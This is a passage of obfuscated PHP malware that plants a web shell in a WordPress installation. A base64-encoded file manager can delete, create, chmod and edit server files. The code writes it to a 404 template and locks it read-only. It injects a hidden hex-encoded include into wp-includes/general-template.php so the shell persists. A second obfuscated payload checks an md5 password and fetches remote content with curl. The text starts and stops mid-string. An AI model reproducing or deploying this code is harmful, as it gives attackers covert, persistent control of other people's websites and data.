CAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkda